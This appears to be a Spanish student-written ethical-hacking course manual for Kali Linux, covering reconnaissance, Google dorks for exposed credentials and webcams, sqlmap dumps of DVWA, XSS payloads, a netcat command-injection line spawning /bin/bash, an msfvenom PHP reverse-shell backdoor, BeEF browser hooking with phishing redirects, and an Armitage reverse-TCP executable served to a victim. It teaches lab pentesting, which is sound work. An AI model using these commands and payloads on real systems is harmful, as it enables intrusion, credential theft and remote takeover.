Vous êtes sur la page 1sur 44

INDICE

PREFACIO ............................................................................................................................1

CAPÍTULO 1
INTRODUCCIÓN ......................................................................................................................... 2

CAPÍTULO 2
TECNOLOGIA PUBLICA............................................................................................................... 8

CAPÍTULO 3
PASSIVE FOOTPRINTING Y DVWA ........................................................................................... 15

CAPÍTULO 4
XSS Y EJECUCIÓN DE COMANDOS EN DVWA .......................................................................... 22

CAPÍTULO 5
SUBIDA DE ARCHIVOS ............................................................................................................. 27

CAPÍTULO 6
USO DE BeeF............................................................................................................................ 30

CAPÍTULO 7
USO DE ARMITAGE .................................................................................................................. 34
A los alumnos del ciclo de SMX-2 del IES La Senia de Paiporta, que son sin duda los mejores
alumnos de FP que he tenido en mi vida. Gracias por el tiempo que hemos compartido juntos.

Lo que tenéis entre manos es el resultado de vuestro trabajo.¡ Enhorabuena!


PREFACIO
¿Se acuerdan de cuando no existía Internet?. Era una época triste y gris, con dificultades para
acceder al conocimiento y haciendo de las distancias auténticas barreras para la comunicación personal y
comercial. Si necesitábamos conocer un concepto, lo buscábamos en la enciclopedia, si queríamos ir a
una calle, preguntábamos directamente a la gente, y si queríamos escuchar música, intentábamos
sintonizar nuestra emisora favorita… afortunadamente todo esto ha cambiado r adicalmente. Por
supuesto que podemos seguir haciéndolo, pero existe un factor clave en nuestros cambios de hábitos: la
comodidad.

La comodidad es aquello que nos permite hacer clic en una página y escuchar la última canción de
Julio Iglesias, saber dónde va a realizar su próximo concierto y comprar entradas centradas en la segunda
fila. Todo esto en 5 minutos, sin movernos del sofá. Amigos, Internet está aquí para quedarse, nos
permite conectarnos y hacer de este mundo un lugar más unido y globalizado, donde brilla más el Sol y
las estrellas resplandecen en cada clic que hacemos frente a la pantalla. ¿Qué podría salir mal?

Pues podrían salir muchas cosas y todas ellas relacionadas directamente con la seguridad de las
comunicaciones. Los sistemas informáticos han de proveer autenticidad y seguridad para garantizar
nuestra tranquilidad cuando accedemos al sistema y visualizamos o descargamos contenido de la red. Si
no existieran estos mecanismos, directamente no existiría Internet, nadie estaría interesado en acceder a
un sistema donde se puede exponer toda su privacidad, cuentas de banco, fotografías…sería la
apocalipsis, ¡peor!, ¡sería volver al mundo analógico!, ¡y eso es algo que no podemos permitir!.

Por ello, un grupo de alumnos del IES La Senia debidamente entrenados expondrán en las
siguientes páginas una serie de descripciones y contenidos de la asignatura de Seguridad Informática que
relatarán con sus propias palabras, generando así el primer manual elaborado directamente por
estudiantes para estudiantes. Y por si todo ello no fuera suficiente, su exposición tendrá como base el
sistema Kali-Linux, reconocido por ofrecer librerías y mecanismos para practicar de forma segura hacking
ético.

Lo que tienes ante ti es una obra maestra, un libro que competirá con La Biblia por ser el mejor
best-seller de todos los tiempos, así que ¡no esperes ni un minuto más!, ¡comienza ya a leer el primer
capítulo y sumérgete de lleno en el mundo de Kali-Linux!

1
CAPITULO 1: INTRODUCCION

1-Conceptos básicos

Kali Linux es una distribución basada en Debian GNU/Linux diseñada principalmente para la auditoría y
seguridad informática. Está desarrollado en un entorno seguro.

Tiene instaladas por defecto: Nmap que es un escáner de puerto, Wireshark que es un sniffer, John the
Ripper un gran crackeador de passwords y la suite Aircrack-ng software para pruebas de seguridad en
redes inalámbricas.

Penetration testing (pentest): es una prueba de seguridad donde los evaluadores copian ataques reales
para perturbar las funciones de la seguridad de un aplicativo, sistema o red.

Etapas del pentesting:

1- Detección de equipos.

2- Detección del “mapa” de la red.

3- Detección servicios y versiones.

2
4- Detección de debilidades.

5- Obtención de algún nivel de acceso inicial.

6- Escalamiento de privilegios.

Detención de equipos y estructura de red

- El agente buscará en en esta etapa detectar el mayor parte de componentes posibles de la red a atacar.

- No solamente los servidores, sino también el resto del equipamiento de comunicaciones (switches) y
seguridad (firewalls) podrán ser blancos importantes.

- La detección de la estructura de la red no siempre es estrictamente necesaria, pero le puede dar al


agente un nivel adicional de información para la realización de ataques.

- Servidores de nombre (DNS).

- Ping

- Dependiendo de la configuración de las herramientas utilizadas por el atacante, es muy posible que esta
etapa pase inadvertida, tal y como veremos en próximos capítulos.

Detección de servicios y versiones.

- Suelen aparecer indicios de que la red está bajo ataque.

- El agente buscará determinar cuales son los servicios corriendo, los sistemas operativos que los
soportan.

- “Port Scanning” (recorrida de puertos de forma secuencial/aleatoria): Es la técnica más básica para
intentar realizar una conexión estándar de TCP con el puerto específico.

Detección de debilidades.

- El agente buscará determinar vulnerabilidades en los servicios instalados.

- Se utilizan herramientas automatizadas que cuenten con bases de datos actualizados periódicamente
que cuentan con bases de datos actualizadas periódicamente para hacer el análisis, aunque en algunos
casos el atacante podrá interactuar directamente con los servicios.

- Algunas de las vulnerabilidades (“exploits”) más usuales incluyen:

3
“Buffer overflows”/ “Dangling Pointers”/ ”Off-by-one”.

“Directory Traversal”/ “Source Disclosure”.

“MIME explosifs”.

Obtención/ escalamiento de acceso.

• Si la etapa anterior el agente encuentra algún servicio que incluye vulnerabilidades, puede intentar
dicho servicio para obtener algún nivel de acceso al servidor donde él mismo ejecuta.

• Dependiendo de sus objetivos, este nivel de acceso puede o no ser suficiente, lo cual depende en
general de los privilegios con los que corra el servicio.

• En caso de que se necesite mayor nivel, el atacante normalmente intentará escalar sus privilegios a
través de nuevos ataques (ataques locales).

• Es importante notar que en el caso de detectarse que un atacante obtuvo cierto nivel de acceso a un
equipo (especialmente de alto nivel de privilegio), puede resultar muy difícil determinar qué información
fue accedida o que otros componentes del servidor pueden estar comprometidos.

2-Active footprinting y Banner Grabbing

-Active footprinting: cuando se trata de piratería, el término huella se utiliza para referirse a algunos de
los trabajos que los piratas informáticos realizan en silencio, entre bambalinas, antes de atacar un
sistema. Esto puede implicar ver qué sistema operativo utiliza una configuración de hardware o hacer
ping al sistema para determinar las propiedades de diseño. Escaneo de puertos o consultas de registro
son también otros tipos de huella. Estos tipos de información luego construyen el plan para un ataque
cibernético. En ese sentido, la palabra huella se usa en tecnología de la información como la palabra
casing se usa para robo de casa.

-Banner grabbing: es una técnica de enumeración, que consiste en capturar los banners que muestran las
aplicaciones al conectarnos a ellas. Podremos obtener información como el tipo de software, la versión y
el sistema operativo. Esto se torna de vital importancia cuando estamos buscando vulnerabilidades en un
sistema.

4
2.1-Active footprinting

El comando dnsenum: se captura tanta información como sea posible sobre un dominio. El programa
actualmente realiza las siguientes operaciones:

 Obtener la dirección host.

 Obtener los servidores de nombre.

 Obtener el registro MX.

 Realizar consultas axrf sobre los servidores de nombre y obtener versión de Bind.

 Obtener nombres y subdominios adicionales mediante google.

 Fuerza Bruta a subdominios desde un archivo, también puede realizar recursividad sobre
subdominios que tienen registros NS.

 Calcula los rangos de redes de dominio de clase C y realiza una consulta whois sobre ellos.

 Realiza consultas inversas sobre los rangos de red.

 Escribir al archivo domain_ips.txt bloques de IP.

5
El comando dnsmap: se utiliza por pentesters durante la fase de recopilación/enumeración de
información de las evaluaciones de seguridad de infraestructura.

6
2.2-Banner grabbing

Netcat: Es una herramienta de red que permite a través de intérprete de comandos y con una sintaxis
sencilla abrir puertos TCP/UDP en un HOST, asociar una shell a un puerto en concreto y forzar conexiones
UDP/TCP.

Zenmap: Es un escáner de seguridad gratuito y de código abierto, fue diseñado para la investigación de
seguridad de la información y puede usarse tanto para fines de sombrero blanco como de sombrero
negro. La herramienta es capaz de descubrir vulnerabilidades y su impacto, y detectar los dispositivos IoT
afectados.

7
CAPITULO 2: TECNOLOGIA PUBLICA

1-Conceptos básicos

Como tecnología pública entendemos todos aquellos comandos y/o aplicaciones que nos permiten
obtener información pública del sitio auditado. Para ello, hacemos uso de la información pública
mostrada a través de redes sociales o motores de búsqueda. A través de los siguientes apartados
comprobarás lo expuestos que estamos ¡por nuestro propio mérito!.

2-Comandos de terminal

WhatWeb

WhatWeb identifica sitios web. Su objetivo es responder a la pregunta, “¿Qué es ese sitio web?”.
WhatWeb reconoce tecnologías web, incluyendo los sistemas de gestión de contenidos (CMS),
plataformas de blogs, estadística / paquetes de análisis, bibliotecas de JavaScript, servidores web y
dispositivos embebidos. WhatWeb cuenta con más de 1.500 plugins, cada uno capaz de reconocer algo
diferente. WhatWeb también identifica los números de versión, direcciones de correo electrónico, ID de
cuenta, módulos framework web, errores de SQL, y más.

8
OTROS EJEMPLO DE USO:

* Scan example.com
whatweb example.com
* Scan reddit.com slashdot.org with verbose plugin descriptions
whatweb -v reddit.com slashdot.org
* An aggressive scan of mashable.com detects the exact version of WordPress
whatweb -a 3 mashable.com
* Scan the local network quickly with 255 threads and suppress errors
whatweb --no-errors -t 255 192.168.0.0/24

WPScan

Hay que actualizar la base de datos de WPScan para usarlo por vez primera. La base de datos está
compuesta por un conjunto de archivos que contienen firmas hash de componentes de WordPress, de
plugins, descripciones de vulnerabilidades, referencias de exploits, entre otros datos que pueden
consultarse en línea

Para actualizar los archivos se utiliza la opción –update:

 wpscan –update

Escaneo básico

Antes del escaneo:

Y el resultado después del escaneo sería el siguiente:

9
Concepto

Concepto de User-Agent.

Un User-Agent es una aplicación informática que funciona como cliente en un protocolo de red;
ese aplica generalmente para referirse a aquellas aplicaciones que acceden al World Wide Web. Los User-
Agent que se conecten a una Web pueden ser desde navegadores web hasta los web crawler de un
buscadores, pasando por teléfonos móviles,.

3-Uso de Maltego

Comenzamos este apartado haciéndonos la siguiente pregunta…

¿Por qué algunos sitios no nos devuelven información de tecnología?

Porque ciertos sitios web han de mostrar contenidos diferentes según el agente de usuario; en
Internet, esto implica mostrar diferentes contenidos según el navegador web

- Recuperación de información de un objetivo: Maltego.


- Recuperar información de una persona. Procedimiento.

Abrimos el maltego y damos a nuevo una vez abierto seleccionamos y arrastramos a persona al panel
blanco y introducimos un nombre cambiando el nombre de jhon doe que sale segundo botón sobre el
icono que introducimos el nombre y solo resta hacer clic con el botón derecho sobre el icono de la
persona y seleccionar la opción “run transform”. En esta categoría hay diferentes subcategorías, donde se
puede optar por información que queremos buscar, como correos electrónicos, direcciones IP de un sitio
web, etc. En este caso vamos a buscar los emalis pero si vamos a la opción “all transforms” saldrá toda la
información que contenga el nombre.

10
De esta forma podemos encontrar perfiles en Facebook, Twitter incluyendo amistades relacionadas a
esta persona en sus redes sociales. Para verlo con más detalle se puede hacer clic en el botón “Entity List”,
donde se pueden apreciar mejor los links y más información.

Uso de transformada "Have I Been Pawnd?". Comprobación adicional mediante web.

Have I been pwned? es un sitio web que nos permite comprobar si una dirección de correo ha sido
filtrada en un ataques. Sólo tienes que introducir tu cuenta y verás en qué ataques apareció.

11
Recuperación información de un alias.

Abrimos el maltego y damos a nuevo una vez abierto seleccionamos y arrastramos al alias tal y como
hicimos con la personaa al panel blanco y introducimos un nombre cambiando el alias de Mr. T por el que
buscamos, solo resta hacer clic con el botón derecho sobre el icono de persona y seleccionar la opción
“run transform”.

Recuperación información de un dominio.

En el maltego hacemos lo mismo que con la persona y alias arrastramos el dominio al panel blanco.
Cambiamos el nombre y hacemos clic con el botón derecho sobre el icono de la persona y seleccionar la
opción “run transform” para que salga busque y nos de los datos del dominio.

Fig. 1 - Nosotros haremos run transform to social account

12
Más precisión: El uso de las máquinas. Ejemplo de uso.

En Maltego podemos ejecutar unos pseudoscripts, los cuales se ejecutan de manera remota (en unos
servidores llamados máquinas) que se encargan de cumplir una tarea para obtener la información que
requerimos. También sería posible crear máquinas por el propio editor.

Los tipos de máquinas que tenemos en la versión gratuita son:

 Company Stalker: Esta máquina intentará obtener todas las direcciones de correo de un
determinado dominio y averiguará cuales ofrecen resultados en redes sociales. Además obtiene
los documentos alojados en el dominio y extrae los metadatos. Requiere como dato de entrada el
dominio a analizar.

 Footprint L1: realiza un footprint de nivel 1 (rápido, básico) sobre un dominio.


 Footprint L2: Realiza un footprint de nivel 2 (medio) sobre un dominio.
 Footprint L3: Realiza un footprint de nivel 3 (intensivo) sobre un dominio. Requiere de tiempo y
consume muchos recursos. Se recomienda usarlo con cuidado.
 Person – Email Address: Intenta obtener las direcciones de correo de una determinada persona y
averigua los sitios webs en los que aparecen. Requiere como dato de entrada una dirección de
correo inicial.
 Prune Leaf Entities: Elimina las entidades sin nodos dependientes.
 Twitter Digger: Busca una determinada frase como un alias de Twitter. Es posible que esta
máquina se vea bloqueada por la API de Twitter al ejecutarse en varias ocasiones.
 Twitter Geo Location: Intenta encontrar la geolocalización de una determinada persona en
Twitter utilizando diferentes técnicas.
 Twitter Monitos: Monitoriza Twitter en busca de los hashtags, y entidades mencionadas que
aparecen en torno a una determinada frase.
 URL To Network Add Domain Information: A partir de una URL obtiene información de la red y
del dominio al que pertenece.

13
Vamos a la parte superior, cerca de donde se localizaba New, y clickar sobre el icono rojo o también
podríamos crear un proyecto y vamos a la pestaña que pone máquinas, y clicamos a run machine.

Luego seleccionamos la maquina nosotros le damos a Footprint L3 le damos a siguiente y ponemos un


nombre al dominio y a darle run empezara a buscar en el dominio seleccionado obtenemos una gran
cantidad de información.

14
CAPITULO 3: PASSIVE FOOTPRINTING Y
DVWA

1-Passive Footprinting

Definición : Passive footprinting es un método en el que el atacante nunca hace contacto con los sistemas
de destino. La desventaja del método activo para un atacante es que muchas compañías pueden registrar
el contacto entre un atacante y el sistema objetivo.

Comando whois : WHOIS es un protocolo TCP basado en petición/respuesta que se utiliza para efectuar
consultas en una base de datos que permite determinar el propietario de un nombre de dominio o una
dirección IP en Internet.

Comando theharvester : Esta herramienta está destinada a ayudar a los probadores de penetración en las
primeras etapas de la prueba de penetración para comprender la huella del cliente en Internet. También
es útil para cualquier persona que quiera saber qué puede ver un atacante sobre su organización.

Google Hacking: es una técnica en informática que utiliza operadores para filtrar información en el
buscador de Google .

Google Dorks : son combinaciones de operadores de búsqueda especiales que se utilizan para extraer
información valiosa o sensible desde Google

Ejemplos de Dorks de Google:

Para buscar una frase exacta tienes que ponerlo entre comillas: “patata”.

No distingue entre mayúsculas y minúsculas, así que indiferentemente de la palabra o palabras que
pongamos alternando con minusculas y mayusculas seguirá manteniendo el mismo resultado de
búsqueda.

Comandos:

Uso de Cache: Nos lleva directamente a la versión que tiene google de una determinada página por
ejemplo cache:www.marca.com y nos llevará al cache que tiene almacenada google de www.marca.com .

Ficheros con usuarios y contraseñas lo que permite al hacker entrar directamente en tu web: ext:pwd
inurl:(service | authors | administrators | users) “# -FrontPage-“ filetype:sql “#
dumping data for table” “`PASSWORD` varchar”

Bases de datos sql volcadas completas, tienen datos de usuarios y contraseñas. Se pueden hacer

15
modificaciones en la cadena de búsqueda, para sacar otros tipos de información.

Ficheros con nombres de usuario o mensajes de error que revelan el nombre de usuario “access
denied for user” “using password” “general error” -inurl:phpbb “sql
error”

Foros que dan errores. Nos dan el nombre del usuario y a veces también la IP del servidor. En Google
aparecen más de 340.000 foros vulnerables.

Dispositivos hardware online (ver webcams y cámaras de vigilancia o manejar impresoras remotamente):

“active webcam page” inurl:8080: cámaras disponibles en el puerto 8080.

“inurl:webarch/mainframe.cgi”: Impresoras listas para administrar remotamente.

“intitle:”network print server” filetype:shtm y más impresoras esperando a


hackers.

2-Trabajo con DVWA

Para llevar a cabo las pruebas de hacking ético que desarrollaremos en este manual, necesitamos hacerlo
contra una máquina privada, dentro de un entorno controlado, y esta posibilidad nos la ofrece la máquina
Metasploitable, diseñada específicamente para este fin.

Metasploitable 2: Instalación.

Metasploit es un proyecto de código abierto para la seguridad informática , que proporciona información
acerca de vulnerabilidades de seguridad y ayuda en tests de penetración "Pentesting" y el desarrollo de
firmas para sistemas de detección de intrusos . Fue creado utilizando el lenguaje de programación de
scripting Perl aunque actualmente el Metasploit Framework ha sido escrito de nuevo completamente en
el lenguaje Ruby .

Metasploit ofrece muchos tipos de cargas útiles, incluyendo:

● 'Shell de comandos' permite a los usuarios ejecutar scripts de cobro o ejecutar comandos arbitrarios.

● 'Meterpreter' permite a los usuarios controlar la pantalla de un dispositivo mediante VNC y navegar,
cargar y descargar archivos.

● 'Cargas dinámicas' permite a los usuarios evadir las defensas antivirus mediante la generación de cargas
únicas.

Para ello debemos instalar Metasploit para hacer función de ejecutar varios ejemplos de comandos.

16
DVWA. Consulta SQL injection.

Damn Vulnerable Web App (DVWA) es una aplicación hecha en PHP y MySQL para el entrenamiento de
explotación de vulnerabilidades web, perfecto para poner a pruebas nuestras habilidades en el tema e
igualmente para aprender nuevas técnicas. Está dividido en tres niveles: Low, medium y high, cada uno
respectivamente va aumentando su nivel de dificultad.

Captura de cookies y cracking de passwords

Siendo "url" la url de DVWA, "user-agent" cualquier user-agent aleatorio y "cookie" la cookie de nuestra
sesión.

En una terminal de kali linux introducimos el siguiente comando para hacer la captura de las cookie que
contenga password y user.

sqlmap -u "url" --dbs --user-agent="user-agent" –cookie="cookie"

17
-Uso de XSS reflected para captura de cookies

Vamos de nuevo al navegador e introducimos la ip que tenga asignada el Metasploitable y seleccionamos


la opción DVWA XXS Reflecte allí introducimos el siguiente script.

<script>alert('document.cookie')</script>

Tal y como se ve en las imágenes para que salga el mensaje.

-Comando sqlmap con user-agent aleatorio, cookie capturada y opción tables.

En una terminal ponemos esta combinación de comandos para extraer la información de las tablas de
dvwa

sqlmap -u "url" -D dvwa --tables --user-agent="user-agent" –cookie="cookie"

18
-Uso de Burpsuite para captura de cookies.

Abrimos el Burp suite y vamos a option y en add le añadimos la ip y el puerto que usaremos de proxy

Después de marcarla vamos al explorador para habilitar nuestro proxy en la configuración y vamos a
manual eh introducimos la ip en HTTP Proxy y el puerto ponemos 8080 en nuestro caso y le damos a ok

19
Ahora cuando algún usuario introduzca su usuario y password sera capturado por Burpsuite como se ve
en la captura.

Comando sqlmap con user-agent aleatorio, cookie capturada y opción de la tabla de users. Resultado
con passwords crackeados.

20
Obtiene información de tabla users:

Ahora con esta combinacional de comandos sacaremos la información de la tabla de users

sqlmap -u "url" -T users --dump --user-agent="user-agent" –cookie="cookie"

John the Ripper

Es una herramienta de auditorías de seguridad, muy utilizada para comprobar si nuestras claves son
seguras. Para ello se le proporcionamos un fichero de entrada con los hashes de las claves que queremos
comprobar, y un diccionario o juego de caracteres con los que realizar las pruebas de desecriptar.

En una terminal usaremos la siguiente combinación de comandos.

john --format=raw-MD5 fichero_con_hashes.txt

21
CAPITULO 4: XSS Y EJECUCION DE
COMANDOS EN DVWA

1-Introducción a XSS

-Definición de ataque XSS.

El ataque XSS es un tipo ataque de inyección de código malicioso para su posterior ejecución que se
puede realizarse a sitios web, aplicaciones locales e incluso un navegador.

Este ataque se realiza cuando se envía un código malicioso a la aplicación web y se coloca de forma
intencionado para confundir al usuario ya sea por un hipervínculo a otra pagina, mensajería instantánea o
un correo electrónico.

Es un tipo de vulnerabilidad informática o agujero de seguridad que se suelen encontrar en las


aplicaciones Web, que permiten a una tercera persona inyectar en páginas web visitadas por el usuario un
código JavaScript o mediate otro lenguaje similar (ej: VBScript), podemos evitarlo usando medidas como
CSP Política del mismo origen.

Es posible encontrar esta vulnerabilidad de Cross-Site Scripting en aplicaciones que tengan entre sus
funciones mostrar la información en un navegador web u otro contenedor de páginas web. Sin embargo,
no se limita solo a sitios web en linea, tambien podemos encontrar aplicaciones locales vulnerables a XSS.

-Tipos: Reflejado y persistente.

XSS Indirecto (reflejado)

El XSS indirecto funciona modificando valores que la aplicación web pasa de una página a otra, sin
emplear sesiones. Sucede cuando se envía un mensaje o ruta en una URL, una cookie o en la cabecera
HTTP (pudiendo extenderse al DOM del navegador).

Supongamos que un sitio web tiene la siguiente ruta:

http://www.example.com/home.asp?frame=menu.asp

y que al acceder se creará un documento HTML enlazando con un frame a menu.asp.

En este ejemplo, ¿qué pasaría si se pone como URL del frame un código javascript?

javascript:while(1)alert("Este mensaje saldrá indefinidamente");

Si en este enlace lo pone un atacante hacia una víctima, un visitante podrá verlo y verá que es un enlace

22
del mismo dominio, pensando que no puede ser nada malo dando el resultado de un bucle infinito de
mensajes.

Se suele colocar un script que robe las cookies de la víctima, para después poder personificarse como con
su inicio de sesión, o hacer automático el proceso con el uso de la biblioteca cURL con este metodo el
atacante podría ejecutar acciones con los permisos de la víctima sin necesitar su contraseña.

Otro uso común para estas vulnerabilidades es mediante el phishing. Con este metodo la víctima ve en la
barra de direcciones un sitio, pero realmente está en otra parecida. La víctima introduce su contraseña y
se la envía al atacante.

Una página como la siguiente:

error.php?error=Usuario%20Invalido

Para probar vulnerabilidades de XSS en cookies, se puede modificar el contenido de una cookie de forma
sencilla, usando el siguiente script. Sólo se debe colocar en la barra de direcciones, y presionar 'Enter'.

javascript:void prompt("Introduce la
cookie:",document.cookie).replace(/[^;]+/g,function(_){document.cookie=
_;});

XSS Directo (persistente)

Funciona localizando puntos débiles en la programación de los filtros de HTML si es que existen, para
publicar contenido (como blogs, foros, etc.).

Normalmente el atacante tratara de insertar tags como <iframe>, o <script>, pero en caso de fallar, el
atacante puede tratar de poner tags que casi siempre están permitidas y es poco conocida su capacidad
de ejecutar código. De esta forma el atacante podría ejecutar código malicioso.

<script>alert("xss")</script>

-Ejemplo de XSS Reflejado con la opcion XSS Reflected.

Ejemplos: Una posibilidad es usar atributos que permiten ejecutar código.

<BR STYLE="behavior: url(http://yoursite/xss.htc);">

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

<IMG SRC=X ONERROR="alert(/XSS/)">

-Ejemplo de XSS Persistente con la opcion XSS Stored.

23
-Ataque Deface. Definición.

Deface o defacement es hacer una entrar sin autorización a un servidor web y hacer cambios en su página
principal, incorporando un mensaje de texto, imagen, vídeo, etc.

Esta acción puede ser de carácter reivindicativo, lo que se llama hacktivismo, o para hacer un ataque a los
responsables, o simplemente para dejar constancia de que entro por una vulnerabilidad.

Incluso ahí hackers que se lo llegan a tomar como una competición.

Ejemplo redirigiendo a una página web.

A poner el código creado en html pero para hacer esto tendremos que hacer 2 pasos

24
Primer paso :vamos a poner la seguridad baja

Para poner la seguridad Low (baja) vamos a DVWA Security y la ponemos le damos a sumint para aplicar
esas seguridad y poder hacer el hackeo de prueba.

Segundo paso: Editar HTML

Vamos a XSS y alli clickamos el segundo boton una vez clickado sobre nombre del ratón y elegimos inspect
element o pulsamos la letra Q del teclado, y alli editamos el numero 10 poniendo 100 o un numero
grande en maxlength la linea resaltada para poder poner el código HTML y hacer el XSS.

Una vez hecho esto ponemos el nombre en la sección nombre introducimos el codigo html:

25
<html>

<head>

<meta http-equiv="Refresh" content="0;url=http://www.w3docs.com" />

</head>

<body>

</body>

</html>

Y le damos al boton Sign Guestbook y nos redirecionara a la página que pusimos.

Y después clickamos en xss se vera como nos redirecciona.

2-Ejecución de comandos

Es un método mediante una terminal poder ejecutar órdenes de ejecución de aplicaciones del equipo,
solicitar información del equipo o poder administrar en sistema mediante ellos accediendo a él de forma
más profunda.

Ejemplo de netcat.

Para el ejemplo de la ejecución de comandos usaremos esta combinación de comandos,

: 127.0.0.1 | nc -l -p 5555 -e /bin/bash

En el que el Netcat funcionando a través del puerto 5555 y espera a la escucha de respuesta en el otro
sistema que haremos lo mismo .

26
CAPITULO 5: SUBIDA DE ARCHIVOS

1-Introducción

Como ocurre en muchas redes sociales, al darnos de alta siempre se nos solicita una imagen que hará el
papel de nuestro avatar hacia el resto de usuarios de la red.

En este capítulo aprenderemos cómo hacer que esa imagen ejecute un código php y poder acceder de esa
forma al sistema de manera remota. Estamos hablando de generar una puerta trasera o un backdoor.

Definición de Backdoor:

Un Backdoor o puerta trasera es una secuencia especial dentro del codigo de programación,
mediante la cual se pueden evitar los sistemas de de seguridad del algoritmo para acceder al
sistema.

Ejemplo de generación de un backdoor.

msfvenom -p php/meterpreter/reverse_tcp lhost=<ip de kali>


lport=4444 -f raw > shell.php

Se
generará el siguiente fichero con extensión php:

Una vez generado el backdoor:

Se entra a la consola de metasploit con msfconsole, después esperamos a que se cargue y


tecleamos:

 Use multi/handler.
 set payload php/meterpreter/reverse_tcp

27
 set lohost <ip de kali>
 set lport 4444
 show options
 run

2-Ejemplo de uso de Burpsuite

Primero de todo vamos a DVWA:

28
Lo siguiente que haremos es al navegador preferences > Network proxy> Manual proxy
configuration y dejamos la dirección de loopback:

Le daremos a ok lo siguiente iremos a la terminal de Kali ejecutaremos los comandos que se ha


dicho anteriormente y finalmente, iremos a burpsuit proxi > forward > renombraremos el
archivo a php.

Como hemos visto, Burpsuite es una herramienta muy potente, ya que nos permite situarnos “en medio”
del usuario y los datos que se están enviando a Internet, como si de un falso proxy se tratara. Por esta
situación de Burpsuite, se dice que es especialista en ejecutar ataques de “Man in the middle”.

29
CAPITULO 6: USO DE BeeF

1-Introducción

¿Qué es Beef XSS?. Beef es la abreviatura para The Browser Exploitations Framework(El marco de
explotación del navegador). Es una herramienta de prueba de penetración de navegador web que
funciona ejecutando el script “hook.js” en un navegador, a través del cual obtenemos todo el control del
mismo.

En los siguientes apartados comprobaremos operaciones que podemos llevar a cabo utilizando esta
herramienta que nos ofrece Kali-Linux:

2-Operaciones principales con BeeF

1-detectar los links que hay en la página con Get Page HREFs

Get Page HREFs nos indica todos los href que tiene dicha página web, podríamos utilizarlo para saberlos y
cambiar los que nos convengan.

30
2-cambiar los links por Replace HREFs

Con replace HREFs reemplazamos todos los href por el de la página que queramos, podremos
crear una página web muy parecida a la que nuestro objetivo está accediendo e intentar sacarle
información

3-sacar una ventana con un aviso con Create Alert Dialog

Si queremos por ejemplo asustar a nuestro objetivo con Create Alert Dialog le podemos crear una
ventana de diálogo con el texto que queramos.

31
4-redirigir a otra página web con Redirect Browser

Si utilizamos Redirect Browser obligamos a cargar la página que pongamos en el Redirect, si está en
bankia podríamos redirigirlo a nuestra “bankia” y sacarle información, un usuario normal no se
daría cuenta.

32
5-Uso de prompt

Cada vez que utilizamos el comando prompt, creamos una alerta y nos inventamos cualquier error
solicitando información.

También tenemos la posibilidad de usar la webcam remota y capturar las imágenes o bien obtener
retransmisión en vivo con la opción de “stream”.

Las posibilidades son infinitas, sólo hace falta tener tiempo e ir probando para ver cuál se ajusta más
a tus intereses como “pentester”.

33
CAPITULO 7: USO DE ARMITAGE

1-Introducción

Armitage es un Administrador Gráfico de Ciber Ataques para Metasploit que sirve para visualizar
gráficamente tus objetivos. El mismo programa te recomienda que exploit debes usar. Expone las
opciones avanzadas del framework (esas que comúnmente se nos olvida o no sabemos), desde el
mismo Armitage podemos iniciar un análisis con Nmap, e incluso se puede usar el módulo de
Brute Force para sacar username/password.

2-Trabajando con Armitage paso a paso

Primero iniciaremos los servicios de apache, postgresql y msfdb

Cuando ejecutemos el comando msfdb, el terminal nos irá devolviendo información de inicio de la
base de datos.

Tal y como vemos a continuación:

34
Ahora nos conectaremos al metasploit, dejaremos la configuración por defecto:

Quizá nos salga el siguiente mensaje de error, pero no pasa nada, hacemos clic en OK y
continuamos el proceso de inicialización:

35
Ahora haremos un Nmap scan (quick scan (Os detect)) en el rango de direcciones que queramos, en
nuestro caso, como estamos trabajando con una máquina virtual en red NAT, lo hacemos para la
dirección 192.168.200.0

36
Al terminar el escaneo, nos aparecerán todas las maquinas que ha detectado en el rango de ips:

Los dispositivos que nos aparecerán por pantalla serán todos aquellos cuyas ips estén dentro del
rango especificado anteriormente.

Podrán salir tanto máquinas físicas como máquinas virtuales, e incluso periféricos (en este caso
aparecen 2 impresoras), o plataformas móviles.

También nos parece muy interesante la información relacionada con el sistema operativo, ya que
nos permitirá conocer a priori que ataque son más interesantes en cada caso.

Ahora crearemos un reverse tcp, configuraremos el lport en 7000, y el archivo será .exe.

Este ejecutable será nuestro “virus” que ejecutaremos en pasos posteriores:

37
Lo guardamos en /var/www/html (aquí tendremos la página que anteriormente hemos
configurado). De esta forma, en nuestro directorio web de apache tendremos conjuntamente la
página web y el archivo ejecutable. Como vemos en la siguiente imagen es justamente así:

38
Ahora desde el terminal de armitage, configuraremos la ip del lhost en nuestra ip, después
configuraremos el puerto 7000, y finalmente ejecutamos el xploit.

Ahora solo falta que el objetivo haga clic en el mensaje emergente:

39
Este sería el momento en el que, desde Windows, descargamos intencionadamente el archivo
ejecutable, que realmente es el virus que generamos anteriormente:

Tras esto, la máquina quedará infectada y así nos lo comunicará Armitage:

40
De esta forma podremos hacer lo que queramos con la maquina infectada, por ejemplo podremos
acceder a sus archivos:

O ver los procesos:

Acceder directamente al cmd:

También podríamos hacer que ejecutaran programas, que se apague el ordenador, conectarnos a
la webcam….

En general podríamos hacer casi lo que quisiéramos mientras el ordenador esté encendido, en este
momento el control del ordenador es nuestro.

41

Vous aimerez peut-être aussi